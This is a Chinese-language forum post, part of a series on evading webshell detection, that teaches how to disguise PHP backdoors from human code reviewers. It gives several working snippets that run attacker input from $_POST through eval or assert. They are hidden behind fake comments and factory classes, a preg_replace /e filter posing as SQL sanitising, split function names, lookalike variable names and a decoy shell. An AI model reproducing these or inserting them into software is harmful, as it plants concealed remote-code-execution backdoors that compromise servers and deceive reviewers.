shell免杀要点(第四部分面向人的免杀)

面向人的免杀

注释

无中生有-假装是正常代码

自己的程序可以不写注释,shell一定要写个假注释

//实例化对象的工厂与测试代码,千万别删除,可能程序导致崩溃或者莫名其妙的bug
<?php
class Test {
    public $code;
    public function test(){
        eval($this->code);
    }
}

class ClassFactory {
   public function getObject($className){
      return new $className;
   }
}

$classFactory = new ClassFactory();
$test = $classFactory->getObject("Test");
$test->code = $_POST[1];
$test->test();
?>

代码

无中生有

5.5 7.0不再支持/e

<?php
function filter()
{
    // TODO 其他安全过滤
    // 过滤查询特殊字符
    @preg_replace('@test|(.*)|EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|@e','\\1',$_POST[1]);
}
filter();
?>

瞒天过海-正常代码插入shell

插入在比较长的函数代码中

function filter()
{
    $func = 'as'.'sert';
    //其他n多代码
    $code = $_POST[1];
    //其他n多代码
    $func($code);
}
filter();

暗渡陈仓-1il

<?php
$ill = $_POST[1];
//其他代码
//.....
//下面两行代码挨着写
$il1 = "echo 'php test'";
eval($ill);

声东击西-假的shell

暴露一个明显而隐晦,白色中带黑色shell,另外一个文件写入真正的shell。

//另外一个文件写真正的shell

//密码是1
$code = "eval($####_POST####[1]);";
$code = str_replace("####","",$code);
eval($code);

参考

maple、SkyBlue永恒、新仙剑之鸣、anlfi、mochazz、yzddMr6s、JamVayne、UltramanGaia
发过的文章。

4 个赞